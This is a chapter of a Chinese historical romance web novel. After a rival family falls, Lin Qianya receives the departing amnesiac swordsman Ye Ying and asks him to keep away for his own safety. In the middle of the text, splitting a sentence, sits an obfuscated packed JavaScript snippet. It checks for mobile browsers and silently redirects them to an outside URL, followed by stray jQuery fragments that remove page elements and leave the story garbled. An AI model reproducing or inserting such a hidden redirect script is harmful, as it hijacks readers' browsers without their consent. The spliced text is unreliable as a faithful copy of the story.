林芊雅靠在窗边软榻上，手里还捏着一封薄薄的信纸。


    那正是前院管事刚送进来的，关于刘家的最终处置。


    主犯斩立决，家产抄没，男丁流放，女眷没官。


    曾经煊赫一时的刘家，转眼间便只剩下一地焦黑的灰烬。倒也算是落了个白茫茫大地真干净。


    她脸上却还是没什么表情，心里也没有大仇得报的快意，只觉得有一种沉沉的疲惫，和一丝挥之不去的空茫。


    她分明是做到了。


    可为什么……心里一点也高兴不起来？


    或许正是因为，这样的胜利是用更多的心力算计换来的。又或许是因为，她清楚地知道，倒下一个刘家，总还会有张家、李家。只要她还在这个位置上，这争斗便永不会停歇。


    “小姐，”春华轻手轻脚地进来，低声道，“叶公子……他又来了，就在院外。说……想见您一面。”


    林芊雅捏着信纸的手指微微收紧。


    这已经是第三次了。


    第一次，她刚醒不久，身体还虚着，便婉拒了。第二次，她正忙着梳理刘家事件的后续，便再次推了。她原以为，以他那般清冷的性子，被接连拒绝两次，便不会再来了。


    可他偏偏又来了。


    她甚至能想象出他站在院门外那棵海棠树下的样子。一身简单的墨色衣衫，白发束在脑后，倒像一株孤直的雪松。


    可他为什么还要来？


    那枚玉佩，她虽然是收下了。却也不是因为贪图什么，而是……当时指尖触到那温润的质地，鬼使神差的，竟就没让春华立刻退回去。


    可收了人家的信物，却又避而不见。这于情于理，似乎都有些说不过去。


    可她……就是有点怕见他。


    怕看到他眼睛的时候，自己心里那点不该有的念头会藏不住。怕听到他说话，自己就会忍不住去想，他到底是什么人，从哪儿来，以后又会去哪儿。


    更怕……把他牵扯进自己这一堆麻烦里。


    她林芊雅做事，向来喜欢算清楚利害，掌控局面。可唯独面对这个叶英，她却算不清楚，也掌控不了。这种失控的感觉，让她心慌，也让她下意识地想逃。


    院门外，叶英确实就站在那棵海棠树下。花瓣早已落尽了。


    他其实已经等了有一会儿了。前两次被拒，他心里有些困惑，也有些说不出的闷。


    是他哪里做得不好，惹她不快了吗？还是说，她觉得他这来历不明之人，终究不配登门道谢？


    他想不通。他自认并非纠缠之人。若她真的不愿相见，他也不会强求。


    只是……有些话，有些疑问……梗在心里，若不见一面、不问清楚，他总觉得会一直记挂着。


    “叶公子，”春华又出来了，面上带着歉然，“小姐她……今日身子还是不太爽利，大夫说了要静养，实在不便见客。您看……”


    叶英沉默了片刻。


    他能听出丫鬟话语里的为难，也明白这多半还是那位林小姐的意思。


    他轻轻吸了口气，道：“劳烦姑娘，再替叶某传一句话。”


    春华连忙道：“公子请讲。”


    “请转告林小姐，”叶英顿了顿，语气依旧平稳，“叶某今日前来，是来辞行的。若小姐仍不愿相见，叶某绝不勉强。叶某并无挟恩图报之意，只是……有些事，想当面问一问小姐，也当面道一声谢。既然小姐不便，那便罢了。叶某……这就告辞。”


    他说完，微微颔首，便转身准备离开。


    可脚步刚迈出一步——


    厢房内，就传来一个有些急促、又带着明显虚弱的女声：


    “等等。”


    叶英的脚步霎时顿住了。


    林芊雅坐在软榻上，手还按在胸口。她明明已经打定主意不见的，可一听他说“辞行”，一听他说“这就告辞”，心口就像被什么东西猝不及防地揪了一下，那句话便不受控制地冲出了喉咙。


    现在……话已出口，覆水难收。


    “……请他进来吧。”她听见自己对春华说，声音却比刚才低软了许多。


    叶英停在原处，心里也掠过一丝清晰的意外。


    他没想到，在他已经准备离开的时候，竟会听到那声“等等”。


    那声音很轻，带着病后的虚弱，却偏偏清晰地传到了他耳中。


    她……还是愿意见他的？


    这个认知，让心头那点莫名的沉闷散去了些，但随即又被另一种更复杂的情绪悄然取代。


    他一时理不清那是什么，只是觉得，待会儿这见面，或许比他预想的更要难以应对。


    他跟着春华，走进了厢房。浓重的药味比之前淡了些，但依然隐隐萦绕在空气里。


    他的脚步放得很轻，停在屏风外几步远的地方。


    他能感觉到，屏风后有人。气息很轻，有些紊乱，还带着一丝不易察觉的紧张。


    “叶公子。”屏风后传来她的声音，比刚才平稳了些，但依旧能听出中气不足。


    “林小姐。”叶英微微颔首。


    他原本是有些问题想问的。可此刻真站在这里，隔着屏风，感觉到她那份刻意保持的距离和那丝隐藏的紧绷，那些问题忽然就堵在了喉咙里，竟一个字也问不出来了。


    他不太懂现在的氛围是怎么回事，也不太明白她究竟在想什么。但他却能感觉到，她心里似乎压着很多事，沉甸甸的，连呼吸都显得格外小心。


    沉默在两人之间无声蔓延。


    叶英本就不擅长找话题，更不擅长安慰人。这沉默让他有些无措。


    犹豫了一下，他也只能干巴巴地问出一句：“林小姐的伤势……可好些了？”


    话一出口，他便觉得有些蠢。


    屏风后静了一瞬，才传来她的回答：“多谢公子挂怀，已无大碍了。”顿了顿，她又轻声补了一句，“倒是听大夫说，公子的伤势恢复得……似乎不错？”


    叶英“嗯”了一声。他心里却有些讶异，她竟然还留意着他的伤势。


    “倒是小姐的手腕……”他几乎是下意识地接道，语气里不自觉地带上了一丝自己都没察觉的认真，“伤口颇深，还需好生将养才是。”


    这话说完，他自己先顿了顿。好像说得太细了，也有些过于关切了。他们其实并不算熟稔。


    果然，屏风后又陷入了沉默。


    过了好一会儿，他才听到她轻声说：“当时……情势所迫，不得已而为之。让公子见笑了。”


    她的语气里带着一种刻意的轻描淡写。


    “非是见笑。”叶英立刻开口反驳，语速竟比平时快了些。话说出口，他才察觉似乎有些急切，立刻稳了稳心神，道，“叶某……是真心多谢小姐。”


    又是一阵沉默。


    然后，他听到她极轻地叹了一口气。


    “公子言重了。”她说，“你救我多次，此番……”


    “不一样。”叶英打断了她。


    他想说，溶洞之中，若无她，他绝无生还之理。那份恩义，分量截然不同。可后面的话，他却卡住了。


    该怎么说？这些念头在脑海里盘旋，却偏偏找不到合适的语言来表达。


    然后，他听见她轻声说道，声音里带着一种刻意划清界限的疏离：“叶公子，你我之间，其实不必如此计较恩情轻重。不过是……恰逢其会，同舟共济罢了。况且，我所做的，也只是……应尽之事。”


    应尽之事。


    这四个字，落在他耳中，却像一块大石头砸进心湖。


    他不信。


    可她话里的意思，他听懂了。她在提醒他，也在提醒她自己，他们之间，最好止步于“恩情”，不要有更多的牵扯。


    为什么？


    因为她觉得他是个麻烦？因为他是来历不明的江湖人？


    还是因为……她自身的处境，让她不得不对所有人都保持距离，尤其是对他这样可能带来变数的人？


    叶英站在屏风外，眼前虽是一片黑暗，但心里却异常清明。


    他能感觉到她那份隐藏在平静下的抗拒和疲惫。她似乎独自扛着很多东西，却不愿意让任何人靠近，包括他。


    这认知让他心里那点莫名的滞闷感，又深了些。可他偏偏不知道该怎么打破这层隔阂。他不会安慰人，也不会说那些漂亮话。


    沉默再次沉沉地笼罩下来。


    叶英不自觉地握了握袖中的手，指尖触到空荡荡的腰间。


    他突然又想起了自己最初的目的。


    “林小姐，”他重新开口，声音恢复了惯常的平稳，只是略微有些低沉，“叶某今日前来，一是道谢，二是……辞行。”


    屏风后似乎传来一丝几不可闻的吸气声。


    他继续道，语气诚恳：“这段时日，多谢府上收留照料。叶某记忆全无，于京城亦是过客，如今伤势既已无大碍，也该……继续去寻自己的来路了。”


    他顿了顿，又道：“此番恩情，叶某铭记于心。日后若有机缘，定当回报。”


    他说得很是平静。


    可屏风后的林芊雅，在听到“辞行”和“寻自己的来路”时，心口猛地一酸，那股被她强行压下的涩意瞬间冲了上来，堵得她喉咙发紧。


    他要走了。去找他的家，他的过去。


    他果然……不属于这里，也不会为她停留。


    他们之间，本就是云泥之别，偶然相交，终究要各奔东西。


    这不正是她所希望的吗？把他推远，不让他卷入自己的是非。


    可为什么……心会这么疼？


    她用力掐着自己的手心，用尖锐的疼痛逼退眼眶的热意。不能失态，绝不能让他看出来。


    叶英说完，等了一会儿，却没听到屏风后的回应。


    他便以为她默许了，于是微微躬身：“既如此，叶某便不打扰小姐静养了。告辞。”


    他转身，准备离开。


    “叶公子。”她的声音却再次响起，比刚才更轻，还带着一丝不易察觉的颤音。


    叶英停住了脚步。


    “你的玉佩……”她似乎吸了口气，才继续说道，“太贵重了，我真的不能收。”


    叶英沉默了一下。


    那块玉……对他而言，确实重要。可比起她所付出的，又算得了什么？


    “不过一块玉罢了。”他听见自己说道，语气却刻意显得极为平淡，“小姐若觉得有用，便留着。若是无用，扔了也无妨。”


    他说完便不再停留，抬步向门外走去。他不想再待下去了。


    这里的氛围，她刻意的疏离，还有他自己心里那团理不清的乱麻，都让他只想立刻离开。


    “叶公子。”她又叫住了他，这一次，声音里却多了些别的东西。


    叶英便再次停下，没有回头，只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224178|197544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是静静等着。


    屏风后，林芊雅看着那道即将消失在门外的挺拔背影，心里某个地方突然塌陷了一块。


    她知道，有些话现在若不说，或许就再也没有机会说了。


    “公子近来……可曾留意京中之事？”她问，声音努力维持着平稳，“譬如……刘家？”


    叶英微微侧头：“刘家？”他确实不曾留意。


    “刘家与我父亲在朝中，素有嫌隙。”林芊雅缓缓说道，语气平静得像是在说别人的事，“前些时日，我马车坠崖……并非意外。是他们算计了我，想置我于死地。也因此……连累了公子，害公子为我重伤。”


    叶英眉头几不可查地蹙了一下。他想起那辆疯癫冲下山崖的马车，还有崖边那道一闪而过的金属反光。原来……并不是意外。


    “刘家……”林芊雅顿了顿，声音里听不出什么情绪，“三日前，已被抄家问罪了。主犯斩首，家产充公。”


    叶英心中一动。


    抄家？这么快？而且是在她刚刚脱险之后？他虽不涉朝政，但也知这等雷霆手段，绝非寻常。联想到洞中那几日，面前这少女所展现的坚韧心性……他隐约明白了什么。


    “叶公子，”林芊雅的声音将他从思绪中拉回，她的语气忽然变得格外认真，甚至带着一丝恳切，“我虽不知公子从何处来，身世如何，但与你相处这些时日，我能看出，公子是品性高洁之人。心中自有丘壑，不染尘埃。”


    她停顿了一下，仿佛在积蓄勇气。


    “可京城之地，风波险恶，漩涡暗藏。而我……”她轻轻笑了笑，那笑声里带着无尽的疲惫和自嘲，“我大概……就是个最大的麻烦。自身尚且难保，亦不愿再将无辜之人牵连进来。公子于我有恩，我亦不愿……让公子卷入我身后这些是是非非，阴谋算计之中。”


    她的声音渐渐低了下去，却字字清晰，仿佛用尽了力气：


    “公子若真想报恩……便请，远离我吧。”


    说完这句话，林芊雅仿佛耗尽了全身力气，缓缓闭上了眼睛。


    指尖深深掐入掌心，传来尖锐的疼痛，却比不上心口那一片空茫的钝痛。


    她放他走。


    不仅因为现实的重重阻碍，更因为……这是她能为这份懵懂初生的、不合时宜的心动，所做的唯一也是最后的保护。


    她不能让自己变成束缚他的枷锁，也不能让他那看似纯净的世界，被她身后的污浊所浸染。


    放手，或许才是最好的结局。


    屏风外，叶英静静地站着，许久没有动。


    她的话，像一阵冷风，吹散了他心头的些许迷雾，却也带来了更深的寒意。


    他听懂了。


    她不是在嫌弃他，也不是在简单地划清界限。


    她是在……保护他。


    用这种近乎决绝的、将他推远的方式，保护他。


    因为她觉得自己身处漩涡，是个“麻烦”，会连累他。


    所以，她宁愿承受误解，宁愿独自面对一切，也不愿他涉险。


    这个认知，像一块巨石投入原本就不平静的心湖，激起的不是愤怒和委屈，而是一种更加复杂的情绪，甚至混杂着一丝难以言喻的心疼。


    原来，她那看似疏离平静的外表下，藏着的是这样的心思。原来，她独自扛着的，远比他想象的还要多。


    叶英缓缓转过身，面向屏风的方向。


    虽然他什么也看不见，但他仿佛能透过那层薄薄的阻碍，“看”到后面那个单薄却挺直的身影。


    她没有哭，没有抱怨，只是用最平静的语气，说着最残忍的话——对他，也是对她自己。


    那一刻，叶英心里那点因被拒绝而产生的闷气，忽然就散了。


    取而代之的，是一种更加清晰、更加坚定的念头。


    他不想就这样远离。


    不是出于报恩，也不是出于好奇。


    而是因为，他忽然觉得，这个看似柔弱却比任何人都要坚韧清醒的女子，不该独自承受这一切。


    他或许帮不了她太多，但至少……不该在她明明需要帮助的时候，因为一句“远离”，就真的转身离开。


    那不是他的道。


    剑者的道，是守护，是直面，而不是逃避。


    沉默在两人之间流淌，时间仿佛被拉得很长。


    最终，叶英没有说“好”，也没有说“不好”。


    他只是静静地站在那里，对着屏风后的方向，极其郑重地，一字一句地说道：


    “叶某……知道了。”


    他的声音不高，却带着一种磐石般的沉稳和力量。


    “小姐保重。”


    说完，他再次微微颔首，然后转身，步伐稳健地走出了厢房。


    他没有承诺什么，也没有追问什么。


    但他那句“知道了”，和他离开时那沉稳的背影，却悄无声息地落进了林芊雅心里，沉甸甸的。


    她知道，他听懂了。


    明明这一切是她自己开口要求的，可现在心里难受的却反而是她。她忍不住在心内嘲笑了自己几声，当真是矫情得很。


    她靠在软榻上，望着空空荡荡的门口，久久没有动弹。


    春华轻手轻脚地进来，看到小姐苍白的脸上那复杂难言的神情，和她微微泛红的眼角，张了张嘴，可终究什么也没敢问，只是默默地将一杯温水放在她手边。